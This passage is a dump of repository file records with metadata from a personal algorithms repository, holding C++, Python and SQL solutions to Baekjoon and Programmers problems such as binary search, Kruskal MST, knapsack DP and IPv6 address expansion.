0;\n}"},{"alpha_fraction":0.3944866955280304,"alphanum_fraction":0.42585551738739014,"avg_line_length":18.5,"blob_id":"b9ef84464d607466fbd3f392a01b7eaf71f0d681","content_id":"86220f7f3d2e1521069cb225e9c9c6610994a967","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1124,"license_type":"no_license","max_line_length":60,"num_lines":54,"path":"/BOJ/Binary Search/1477.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 1477번: 휴게소 세우기\n2021-12-20\nBinary Search\n*/\n#include <iostream>\n#include <algorithm>\n#include <vector>\nusing namespace std;\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n vector<int> v;\n int n, m, l, num;\n int start, end, mid, ans = 1000;\n cin >> n >> m >> l;\n\n v.push_back(0);\n for(int i = 0 ; i < n ; i++) {\n cin >> num;\n v.push_back(num);\n }\n v.push_back(l);\n\n sort(v.begin(), v.end());\n\n start = 1;\n end = l - 1;\n\n while(end >= start) {\n int rest = 0; // 휴게소 개수\n mid = (start + end) / 2;\n\n for(int i = 1 ; i < v.size() ; i++) {\n int dist = v[i] - v[i - 1];\n int cnt = dist / mid; // 두 휴게소 사이에 설치 가능한 휴게소 개수\n\n if(cnt > 0) { // 휴게소 설치 가능\n if(dist % mid == 0) rest += cnt - 1;\n else rest += cnt;\n }\n }\n\n if(rest > m) start = mid + 1;\n else {\n end = mid - 1;\n ans = min(mid, ans);\n }\n }\n\n cout << ans;\n\n return 0;\n}"},{"alpha_fraction":0.6053068041801453,"alphanum_fraction":0.6650083065032959,"avg_line_length":15.75,"blob_id":"7dbf06adbb5534c4a9610b922dc638797fc92d85","content_id":"6883bacb77ec99553e8a6f482034b9e66b9cf762","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":651,"license_type":"no_license","max_line_length":85,"num_lines":36,"path":"/programmers/SQL/SUM, MAX, MIN.md","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"# SUM, MAX, MIN\n\n**[1. 최댓값 구하기 (Level 1)](https://programmers.co.kr/learn/courses/30/lessons/59415)**\n\n```sql\nSELECT MAX(DATETIME)\nFROM ANIMAL_INS\n```\n\n<br/>\n\n**[2. 최솟값 구하기 (Level 2)](https://programmers.co.kr/learn/courses/30/lessons/59038)**\n\n```sql\nSELECT MIN(DATETIME)\nFROM ANIMAL_INS\n```\n\n<br/>\n\n**[3. 동물 수 구하기 (Level 2)](https://programmers.co.kr/learn/courses/30/lessons/59406)**\n\n```sql\nSELECT COUNT(*)\nFROM ANIMAL_INS\n```\n\n<br/>\n\n**[4. 중복 제거하기 (Level 2)](https://programmers.co.kr/learn/courses/30/lessons/59408)**\n\n```sql\nSELECT COUNT(DISTINCT NAME)\nFROM ANIMAL_INS\nWHERE NAME IS NOT NULL\n```\n"},{"alpha_fraction":0.36057692766189575,"alphanum_fraction":0.40224358439445496,"avg_line_length":14.625,"blob_id":"c5ebc3cafc0f8a338cf9eb5e94fbabd07af7026c","content_id":"2c3abd2d2eec2dccf6a1907a2300750f9eba04fc","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":626,"license_type":"no_license","max_line_length":58,"num_lines":40,"path":"/BOJ/Mathematics/13251.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 13251번: 조약돌 꺼내기\nDATE: 2022-06-28\n*/\n#include <iostream>\nusing namespace std;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int m, k, sum = 0;\n double ans = 0;\n\n cin >> m;\n \n int arr[m];\n \n for(int i = 0 ; i < m ; i++) {\n cin >> arr[i];\n sum += arr[i];\n }\n\n cin >> k;\n\n for(int i = 0 ; i < m ; i++){\n double a = 1, b = 1;\n\n for(int j = 0 ; j < k ; j++) {\n a *= arr[i] - j;\n b *= sum - j;\n }\n\n ans += (double)a / b;\n }\n\n cout << fixed;\n cout.precision(20);\n cout << ans;\n\n return 0;\n}"},{"alpha_fraction":0.46327683329582214,"alphanum_fraction":0.48775893449783325,"avg_line_length":20.260000228881836,"blob_id":"bf4836b75709a009c9b83db9ea16769d83a180ec","content_id":"0ffd59f5432082adb8f7ec7cc8dfdfceaa43be6f","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1102,"license_type":"no_license","max_line_length":61,"num_lines":50,"path":"/BOJ/Two Pointer/2461.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 2461번: 대표 선수\nDATE: 2022-01-18\nTwo pointer\n*/\n#include <iostream>\n#include <vector>\n#include <algorithm>\nusing namespace std;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n vector<pair<int,int>> total;\n int n, m, input;\n int start, end, diff, classNum = 0;\n int min = 1e9;\n cin >> n >> m;\n\n for(int i = 0 ; i < n ; i++){\n for(int j = 0 ; j < m ; j++){\n cin >> input;\n total.push_back({input, i});\n }\n }\n\n sort(total.begin(), total.end());\n\n start = 0; end = 0;\n vector<int> check(n);\n\n while(end < n * m) {\n // 한 반에서 한 명씩 선발될 때까지 end 증가\n if(check[total[end].second] == 0) classNum++;\n check[total[end].second]++;\n end++;\n\n while(classNum == n){ \n diff = total[end - 1].first - total[start].first;\n if(diff < min) min = diff;\n \n check[total[start].second]--;\n if(check[total[start].second] == 0) classNum--;\n start++;\n }\n }\n\n cout << min;\n\n return 0;\n}"},{"alpha_fraction":0.34694793820381165,"alphanum_fraction":0.36849191784858704,"avg_line_length":22.712766647338867,"blob_id":"7d016c9f2eed355a1a1fde5077bd50e4affdc21e","content_id":"6eb8efaa226b3d228544abd0a535c560f7d023d3","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":2258,"license_type":"no_license","max_line_length":134,"num_lines":94,"path":"/programmers/Level 2/open_chat_room.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UHC","text":"//programmers Level 2 : Open chat room\n//2019 KAKAO BLIND RECRUITMENT\n//2021-05-27\n#include <string>\n#include <vector>\n#include <map>\n#include <iostream>\nusing namespace std;\n\nvector<string> solution(vector<string> record) {\n vector<string> answer;\n map<string, string> m;\n string tmp, command, id, name, str;\n int cnt=0;\n \n for(int i = 0 ; i < record.size() ; i++){\n for(int j = 0 ; j < record[i].length() ; j++){\n if(record[i][j] == ' '){\n if(cnt == 0)\n command = tmp;\n else if(cnt == 1)\n id = tmp;\n \n cnt++;\n tmp = \"\";\n }\n else{\n tmp += record[i][j];\n }\n\n if(j == record[i].length() - 1){\n name = tmp;\n tmp = \"\";\n }\n }\n cnt = 0;\n\n if(command == \"Leave\")\n continue;\n \n m[id] = name;\n }\n\n for(int i = 0 ; i < record.size() ; i++){\n for(int j = 0 ; j < record[i].length() ; j++){\n if(record[i][j] == ' '){\n if(cnt == 0)\n command = tmp;\n else if(cnt == 1)\n id = tmp;\n \n cnt++;\n tmp = \"\";\n }\n else{\n tmp += record[i][j];\n }\n\n if(j == record[i].length() - 1){\n if(command == \"Leave\")\n id = tmp;\n else\n name = tmp;\n \n tmp = \"\";\n }\n }\n \n cnt = 0;\n\n if(command == \"Enter\"){\n str = m[id] + \"님이 들어왔습니다.\";\n answer.push_back(str);\n }\n else if(command == \"Leave\"){\n str = m[id] + \"님이 나갔습니다.\";\n answer.push_back(str);\n }\n \n }\n \n return answer;\n}\n\nint main(){\n vector<string> record = {\"Enter uid1234 Muzi\", \"Enter uid4567 Prodo\",\"Leave uid1234\",\"Enter uid1234 Prodo\",\"Change uid4567 Ryan\"};\n vector<string> answer = solution(record);\n\n for(int i = 0 ; i < answer.size() ; i++){\n cout << answer[i] << '\\n';\n }\n\n return 0;\n}"},{"alpha_fraction":0.4522058963775635,"alphanum_fraction":0.4742647111415863,"avg_line_length":17.90277862548828,"blob_id":"0f48290bfccd529945d7044152b50ec93a61f36d","content_id":"906cb70c18350b244faf17bf1725cda723bb084e","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1368,"license_type":"no_license","max_line_length":58,"num_lines":72,"path":"/BOJ/MST/6497.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 6497번: 전력난\n2022-01-04\nKruskal Algorithm\n*/\n#include <iostream>\n#include <vector>\n#include <algorithm>\n#define MAX 200001\nusing namespace std;\n\nint parent[MAX];\nvector<pair<int,pair<int,int>>> edge;\n\nint getParent(int x){\n if(parent[x] == x) return x;\n return parent[x] = getParent(parent[x]);\n}\n\nvoid unionParent(int a, int b){\n a = getParent(a);\n b = getParent(b);\n\n if(a < b) parent[b] = a;\n else parent[a] = b;\n}\n\nint findParent(int a, int b){\n a = getParent(a);\n b = getParent(b);\n\n if(a == b) return 1;\n else return 0;\n}\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int m, n;\n int x, y, z;\n\n while(1){\n cin >> m >> n;\n if(!m && !n) break;\n\n int sum = 0, ans = 0;\n\n edge.clear();\n for(int i = 1 ; i <= m ; i++) parent[i] = i;\n\n for(int i = 0 ; i < n ; i++) {\n cin >> x >> y >> z;\n edge.push_back({z, {x, y}});\n sum += z;\n }\n\n sort(edge.begin(), edge.end());\n\n for(int i = 0 ; i < edge.size() ; i++){\n int x = edge[i].second.first;\n int y = edge[i].second.second;\n int z = edge[i].first;\n\n if(findParent(x, y)) continue;\n unionParent(x, y);\n ans += z;\n }\n\n cout << sum - ans << '\\n';\n }\n\n return 0;\n}"},{"alpha_fraction":0.47214484214782715,"alphanum_fraction":0.4930362105369568,"avg_line_length":18.95833396911621,"blob_id":"28bea1bac442e717c3b6ea8e4e6d4fc4bc5111e0","content_id":"d1db20d3bc93e3a097b5b6d495e7af24c8cca801","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1518,"license_type":"no_license","max_line_length":58,"num_lines":72,"path":"/BOJ/MST/1368.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 1368번: 물대기\nDATE: 2022-02-11\nKruskal Algorithm\n*/\n#include <iostream>\n#include <vector>\n#include <algorithm>\n#define MAX 301\nusing namespace std;\n\nvector<pair<int,pair<int,int>>> edge;\nint parent[MAX];\n\nint getParent(int x) {\n if(parent[x] == x) return x;\n return parent[x] = getParent(parent[x]);\n}\n\nvoid unionParent(int a, int b) {\n a = getParent(a);\n b = getParent(b);\n\n if(a < b) parent[b] = a;\n else parent[a] = b;\n}\n\nint findParent(int a, int b) {\n a = getParent(a);\n b = getParent(b);\n\n if(a == b) return 1;\n else return 0;\n}\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, input, ans = 0;\n cin >> n;\n\n for(int i = 1 ; i <= n ; i++) {\n cin >> input; // i번째 논에 우물을 팔 때 드는 비용\n edge.push_back({input, {0, i}}); // 0번 노드: 가상 노드\n }\n\n for(int i = 1 ; i <= n ; i++) {\n for(int j = 1 ; j <= n ; j++) {\n cin >> input; // i번째 논과 j번째 논을 연결하는데 드는 비용\n if(input == 0) continue;\n edge.push_back({input, {i, j}});\n }\n }\n\n for(int i = 0 ; i <= n ; i++) parent[i] = i;\n\n sort(edge.begin(), edge.end());\n\n for(int i = 0 ; i < edge.size() ; i++) {\n int x = edge[i].second.first;\n int y = edge[i].second.second;\n int z = edge[i].first;\n\n if(!findParent(x, y)) {\n unionParent(x, y);\n ans += z;\n }\n }\n\n cout << ans;\n\n return 0;\n}"},{"alpha_fraction":0.3570391833782196,"alphanum_fraction":0.41219156980514526,"avg_line_length":18.16666603088379,"blob_id":"d2eaf82b967fa27e4bedd7b8065b9db63511007c","content_id":"6be3db562cdce3dbcd0707bcb18e7ead89dd2acd","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":751,"license_type":"no_license","max_line_length":72,"num_lines":36,"path":"/BOJ/Dynamic Programming/12865.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UHC","text":"/*\nBOJ 12865번: 평범한 배낭\nDATE: 2021-02-01\nDynamic Programming\n*/\n#include <iostream>\n\nusing namespace std;\nint arr[101][100001];\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n \n int n, k;\n cin >> n >> k;\n \n int w[101], v[101];\n\n for(int i = 1 ; i <= n ; i++){\n cin >> w[i] >> v[i];\n }\n\n for(int i = 1 ; i <= n ; i++){\n for(int j = 1 ; j <= k ; j++){\n if(w[i] > j) //기존의 최대 가치 유지\n arr[i][j] = arr[i-1][j]; \n else{ //(i번째 물건을 담을 때, 담지 않을 때) max 값 선택\n arr[i][j] = max(v[i] + arr[i-1][j - w[i]], arr[i-1][j]);\n }\n }\n }\n\n cout << arr[n][k];\n\n return 0;\n}"},{"alpha_fraction":0.5,"alphanum_fraction":0.5352941155433655,"avg_line_length":21.733333587646484,"blob_id":"1a26e95777b36efe918b3626148b308fc0e34398","content_id":"b40ba42ee8bef77730eda14b6aeeb1acb264dddc","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":352,"license_type":"no_license","max_line_length":44,"num_lines":15,"path":"/programmers/Level 2/phone_book.py","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"# programmers Level 2: 전화번호 목록\n# date: 2022-06-11\ndef solution(phone_book):\n answer = True\n \n phone_book.sort()\n str = phone_book[0]\n \n for i in range(1, len(phone_book)):\n if str == phone_book[i][0:len(str)]:\n answer = False\n break\n else: str = phone_book[i]\n \n return answer"},{"alpha_fraction":0.4039735198020935,"alphanum_fraction":0.43841060996055603,"avg_line_length":16.18181800842285,"blob_id":"92af69fa9a8f9ad904fe2fa3f903b6140eae2ab3","content_id":"b2d405bd7e0c9894f53fbe5f45f75ce7950744eb","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":767,"license_type":"no_license","max_line_length":58,"num_lines":44,"path":"/BOJ/Binary Search/1654.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 1654번: 랜선 자르기 \nDATE: 2021-03-23\nBinary Search\n*/\n#include <iostream>\n#define MAX \nusing namespace std;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int k, n;\n long long start, end, mid, sum=0, total, max=-1;\n cin >> k >> n;\n\n int length[k];\n\n for(int i = 0 ; i < k ; i++){\n cin >> length[i];\n sum += length[i];\n }\n\n start = 1;\n end = sum / n; \n\n while(end - start >= 0){\n total = 0;\n mid = (start + end) / 2;\n\n for(int i = 0 ; i < k ; i++){\n total += length[i] / mid;\n }\n\n if(total >= n){\n start = mid + 1;\n if(mid > max) max = mid;\n }\n else end = mid - 1;\n }\n\n cout << max;\n\n return 0;\n}"},{"alpha_fraction":0.3827160596847534,"alphanum_fraction":0.40740740299224854,"avg_line_length":14.8695650100708,"blob_id":"32fb1596f5ac7d8516dbb33ea74337199156d732","content_id":"cd971e38d7c61ea2362e791486cf496b570fd37e","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":741,"license_type":"no_license","max_line_length":58,"num_lines":46,"path":"/BOJ/Implementation/17413.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 17413번: 단어 뒤집기 2\nDATE: 2022-06-06\n*/\n#include <iostream>\n#include <stack>\nusing namespace std;\n\nstack<char> s;\n\nvoid print(){\n while(!s.empty()){\n cout << s.top();\n s.pop();\n }\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n string str;\n bool flag = false;\n\n getline(cin, str);\n\n for(auto i : str){\n if(i == '<'){\n print();\n cout << i;\n flag = true;\n }\n else if(i == '>'){\n cout << i;\n flag = false;\n }\n else if(flag) cout << i;\n else if(i == ' ') {\n print();\n cout << \" \";\n }\n else s.push(i);\n }\n\n print();\n\n return 0;\n}"},{"alpha_fraction":0.3900589644908905,"alphanum_fraction":0.42291492223739624,"avg_line_length":23.75,"blob_id":"8f8ca213082d223aec82facccc76480750dd07dd","content_id":"6f4110595ad2e621b1e765ca6320ba9731bd6af7","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1199,"license_type":"no_license","max_line_length":71,"num_lines":48,"path":"/programmers/Level 2/take_a_group_photo.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nprogrammers Level 2: 단체사진 찍기\n2017 KAKAO CODE\nDATE: 2021-05-24\nUPDATE: 2022-03-26\n*/\n#include <vector>\n#include <algorithm>\n#include <string>\nusing namespace std;\n\nint solution(int n, vector<string> data) {\n int answer = 0;\n string str = \"ACFJMNRT\";\n\n do{\n bool flag = true;\n \n for(int i = 0 ; i < data.size() ; i++){\n char ch1 = data[i][0];\n char ch2 = data[i][2];\n \n int idx1 = find(str.begin(), str.end(), ch1) - str.begin();\n int idx2 = find(str.begin(), str.end(), ch2) - str.begin();\n \n int diff = abs(idx1 - idx2) - 1;\n int value = data[i][4] - '0';\n \n if(data[i][3] == '=' && diff != value){\n flag = false;\n break;\n }\n else if(data[i][3] == '>' && diff <= value){\n flag = false;\n break;\n }\n else if(data[i][3] == '<' && diff >= value){\n flag = false;\n break;\n }\n }\n \n if(flag) answer++;\n }\n while(next_permutation(str.begin(), str.end()));\n \n return answer;\n}"},{"alpha_fraction":0.47917962074279785,"alphanum_fraction":0.5021752715110779,"avg_line_length":23.029850006103516,"blob_id":"13db28ff83c21995f29018e0ce4cd76007b31559","content_id":"e59d06cea86f52b748a9df94df26743c1e5592ab","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1659,"license_type":"no_license","max_line_length":83,"num_lines":67,"path":"/BOJ/Implementation/3107.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ: 3107번: IPv6\n2021-12-28\n*/\n#include <iostream>\n#include <vector>\n#include <algorithm>\n#include <string>\nusing namespace std;\n\nbool flag = false;\n\nvector<string> split(string str, string delimiter) {\n vector<string> result;\n size_t prev = 0, cur = str.find(delimiter);\n\n while(cur != string::npos) // find는 원하는 문자열을 찾지 못하면 npos를 반환한다.\n {\n \tstring sub_str = str.substr(prev, cur - prev); // 문자열 split\n result.push_back(sub_str);\n prev = cur + 1;\n cur = str.find(delimiter, prev);\n }\n result.push_back(str.substr(prev, cur - prev)); // 마지막 split\n\n if(str.find(\"::\") != string::npos) flag = true;\n\n return result;\n}\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n string str, ans;\n cin >> str;\n\n vector<string> result = split(str, \":\");\n vector<string> answer, tmp;\n\n if(result.size() != 8) {\n for(int i = 0 ; i < result.size() ; i++) {\n if(result[i].length() == 0 && flag) {\n for(int j = 0 ; j < 9 - result.size() ; j++) tmp.push_back(\"0000\");\n flag = false;\n }\n else tmp.push_back(result[i]);\n }\n\n result = tmp;\n }\n \n for(int i = 0 ; i < 8 ; i++) {\n if(result[i].length() < 4) {\n string tmp;\n\n for(int j = 0 ; j < 4 - result[i].length() ; j++) tmp += '0';\n tmp += result[i];\n\n answer.push_back(tmp);\n }\n else answer.push_back(result[i]);\n }\n \n for(int i = 0 ; i < 8 ; i++) ans += i == 7 ? answer[i] : answer[i] + \":\";\n cout << ans;\n\n return 0;\n}"},{"alpha_fraction":0.4956217110157013,"alphanum_fraction":0.5306479930877686,"avg_line_length":15.342857360839844,"blob_id":"604dec291e0033d15d0c8a1c968eabba4f39df8c","content_id":"b6f0dc3fa5ff56712e3f4838135fe91e584aef62","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":581,"license_type":"no_license","max_line_length":84,"num_lines":35,"path":"/BOJ/Implementation/11286.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"WINDOWS-1252","text":"/*\nBOJ 11286¹ø: Àý´ñ°ª Èü\nDATE: 2021-01-07\n*/\n#include <iostream>\n#include <stdlib.h>\n#include <queue>\n#include <utility>\nusing namespace std;\n\nint main() {\n\tios_base::sync_with_stdio(0);\n\tcin.tie(0);\n\tint n, x;\n\tpriority_queue<pair<int, int>, vector<pair<int, int>>, greater<pair<int, int>>> pq;\n\t\n\tcin >> n;\n\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> x;\n\t\tint abs_x = abs(x);\n\n\t\tif (x != 0) {\n\t\t\tpq.push(make_pair(abs_x, x));\n\t\t}\n\t\telse if (x == 0) {\n\t\t\tif (pq.empty()) {\n\t\t\t\tcout << 0 << \"\\n\";\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tcout << pq.top().second << \"\\n\";\n\t\t\tpq.pop();\n\t\t}\n\t}\n}"},{"alpha_fraction":0.3082595765590668,"alphanum_fraction":0.34365782141685486,"avg_line_length":17.86111068725586,"blob_id":"a7be29d8879b39d91f3ea18fc3a39bc8b539ece3","content_id":"92345999678df3f16407504c48bc5a7f694ba14d","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":690,"license_type":"no_license","max_line_length":47,"num_lines":36,"path":"/BOJ/Brute Force/2309.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 2309번: 일곱 난쟁이\n2021-05-18\nBrute Force\n*/\n#include <iostream>\n#include <algorithm>\n#define n 9\nusing namespace std;\n\nint main(){\n int arr[n], sum=0;\n\n for(int i = 0 ; i < n ; i++){\n cin >> arr[i];\n sum += arr[i];\n }\n\n sort(arr, arr+n);\n\n for(int i = 0 ; i < n - 1 ; i++){\n for(int j = i + 1 ; j < n ; j++){\n if(sum - arr[i] - arr[j] == 100){\n for(int k = 0 ; k < n ; k++){\n if(i == k || j == k)\n continue;\n else\n cout << arr[k] << '\\n';\n }\n return 0;\n }\n }\n }\n\n return 0;\n}"},{"alpha_fraction":0.3926829397678375,"alphanum_fraction":0.43658536672592163,"avg_line_length":16.84782600402832,"blob_id":"610b0ff506db6bd7ee187287194b3d483a5dda07","content_id":"e7750c88234a08bf47611ffb70c1453202154ec7","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":834,"license_type":"no_license","max_line_length":61,"num_lines":46,"path":"/BOJ/Binary Search/16401.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 16401번: 과자 나눠주기\nDATE: 2022-06-04\nBinary Search\n*/\n#include <iostream>\n#include <algorithm>\nusing namespace std;\n\nlong long arr[1000000];\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n long long m, n, sum = 0;\n long long start, mid, end, cnt;\n long long ans = -1;\n\n cin >> m >> n;\n\n for(int i = 0 ; i < n ; i++){\n cin >> arr[i];\n sum += arr[i];\n }\n\n start = 0;\n end = sum;\n\n while(start <= end){\n cnt = 0;\n mid = (start + end) / 2;\n \n for(int i = 0 ; i < n ; i++){\n if(arr[i] >= mid && mid > 0) cnt += arr[i] / mid;\n }\n\n if(cnt >= m) {\n start = mid + 1;\n ans = max(ans, mid);\n }\n else end = mid - 1;\n }\n\n cout << (ans == -1 ? 0 : ans);\n\n return 0;\n}"},{"alpha_fraction":0.47205883264541626,"alphanum_fraction":0.5014705657958984,"avg_line_length":19.02941131591797,"blob_id":"cc740af8010f4e460d913ad4b9e3471e19f34a4a","content_id":"9dcbe654943dd82725ffdce777a7dc18e0de26b0","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":752,"license_type":"no_license","max_line_length":89,"num_lines":34,"path":"/BOJ/Binary Search/10816.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 10816번: 숫자 카드 2 \n2021-12-19\n*/\n#include <iostream>\n#include <algorithm>\n#include <vector>\nusing namespace std;\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n vector<int> v, ans;\n int n, m, num;\n cin >> n;\n\n for(int i = 0 ; i < n ; i++) {\n cin >> num;\n v.push_back(num);\n }\n \n sort(v.begin(), v.end());\n\n cin >> m;\n\n for(int i = 0 ; i < m ; i++) {\n cin >> num;\n auto upper = upper_bound(v.begin(), v.end(), num); // 처음으로 value값을 초과하는 원소의 주소\n auto lower = lower_bound(v.begin(), v.end(), num); // value값 보다 크거나 같은 첫번째 원소의 주소\n\n cout << upper - lower << \" \";\n }\n\n return 0;\n}"},{"alpha_fraction":0.48110830783843994,"alphanum_fraction":0.513853907585144,"avg_line_length":14.920000076293945,"blob_id":"a0ecea6ea3ff0a06a627e60c42b1b8e46ee1a0a3","content_id":"aa851e9b106db1c874605c3ee8cfc965b0a59fdf","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":401,"license_type":"no_license","max_line_length":46,"num_lines":25,"path":"/programmers/Level 2/carpet.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nprogrammers Level 2: 카펫\n2021-12-27\n*/\n#include <string>\n#include <vector>\n\nusing namespace std;\n\nvector<int> solution(int brown, int yellow) {\n vector<int> answer;\n int h = 3, w;\n \n while(1) {\n w = (brown + yellow) / h;\n \n if((h - 2) * (w - 2) == yellow) break;\n h++;\n }\n \n answer.push_back(w);\n answer.push_back(h);\n \n return answer;\n}"},{"alpha_fraction":0.3636363744735718,"alphanum_fraction":0.44727271795272827,"avg_line_length":17.366666793823242,"blob_id":"3b9280052cf853e8920592923cd4352c3862813d","content_id":"2155f1a194b6decd97125c16430e05a3df7e2ddb","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":564,"license_type":"no_license","max_line_length":58,"num_lines":30,"path":"/BOJ/Dynamic Programming/1003.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 1003번: 피보나치 함수\nDATE: 2021-05-28\nDynamic programming\n*/\n#include <iostream>\nusing namespace std;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int cnt0[41]={0,}, cnt1[41]={0,};\n int tc;\n cin >> tc;\n\n cnt0[0] = 1;\n cnt1[1] = 1;\n\n for(int i = 2 ; i <= 40 ; i++){\n cnt0[i] = cnt0[i - 2] + cnt0[i - 1];\n cnt1[i] = cnt1[i - 2] + cnt1[i - 1];\n }\n\n for(int i = 0 ; i < tc ; i++){\n int n;\n cin >> n;\n cout << cnt0[n] << \" \" << cnt1[n] << '\\n';\n }\n\n return 0;\n}"},{"alpha_fraction":0.48469093441963196,"alphanum_fraction":0.5049104690551758,"avg_line_length":20.92405128479004,"blob_id":"cfe27d97df84310cd30130c60b8b469b30df886a","content_id":"578c68dbd06201988743ce22be491bd23c995643","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1741,"license_type":"no_license","max_line_length":99,"num_lines":79,"path":"/BOJ/MST/2887.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 2887번: 행성 터널\n2022-01-04\nKruskal Algorithm\n*/\n#include <iostream>\n#include <vector>\n#include <algorithm>\n#define MAX 100001\nusing namespace std;\n\nvector<pair<int,int>> c_x, c_y, c_z;\nvector<pair<int, pair<int,int>>> edge;\nint parent[MAX];\n\nint getParent(int x){\n if(parent[x] == x) return x;\n return parent[x] = getParent(parent[x]);\n}\n\nvoid unionParent(int a, int b){\n a = getParent(a);\n b = getParent(b);\n\n if(a < b) parent[b] = a;\n else parent[a] = b;\n}\n\nint findParent(int a, int b){\n a = getParent(a);\n b = getParent(b);\n\n if(a == b) return 1;\n else return 0;\n}\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n;\n int x, y, z;\n int ans = 0;\n cin >> n;\n\n vector<int> c(n);\n\n for(int i = 0 ; i < n ; i++) {\n cin >> x >> y >> z;\n c_x.push_back({x, i});\n c_y.push_back({y, i});\n c_z.push_back({z, i});\n }\n\n sort(c_x.begin(), c_x.end());\n sort(c_y.begin(), c_y.end());\n sort(c_z.begin(), c_z.end());\n\n for(int i = 1 ; i < n ; i++) {\n edge.push_back({abs(c_x[i - 1].first - c_x[i].first), {c_x[i - 1].second, c_x[i].second}});\n edge.push_back({abs(c_y[i - 1].first - c_y[i].first), {c_y[i - 1].second, c_y[i].second}});\n edge.push_back({abs(c_z[i - 1].first - c_z[i].first), {c_z[i - 1].second, c_z[i].second}});\n }\n\n sort(edge.begin(), edge.end());\n for(int i = 1 ; i <= n ; i++) parent[i] = i;\n\n for(int i = 0 ; i < edge.size() ; i++) {\n int a = edge[i].second.first;\n int b = edge[i].second.second;\n int c = edge[i].first;\n\n if(findParent(a, b)) continue;\n unionParent(a, b);\n ans += c;\n }\n\n cout << ans;\n\n return 0;\n}"},{"alpha_fraction":0.4395604431629181,"alphanum_fraction":0.4769230782985687,"avg_line_length":20.690475463867188,"blob_id":"fa5354db9cc7d048bb29a145dd831f4e67b77ebf","content_id":"a3a92d2553b418bc36110956914e6942a50aaf18","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":918,"license_type":"no_license","max_line_length":66,"num_lines":42,"path":"/programmers/Level 2/function_development.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"//programmers Level 2: 기능개발\n//2021-10-05\n#include <queue>\n#include <vector>\n#include <iostream>\nusing namespace std;\n\nvector<int> solution(vector<int> progresses, vector<int> speeds) {\n vector<int> answer;\n queue<int> q;\n \n for(int i = 0 ; i < progresses.size() ; i++) {\n if((100 - progresses[i]) % speeds[i] == 0) \n q.push((100 - progresses[i]) / speeds[i]);\n else q.push((100 - progresses[i]) / speeds[i] + 1);\n }\n \n while(!q.empty()) {\n int cnt = 1;\n int cur = q.front();\n q.pop();\n \n while(cur >= q.front() && 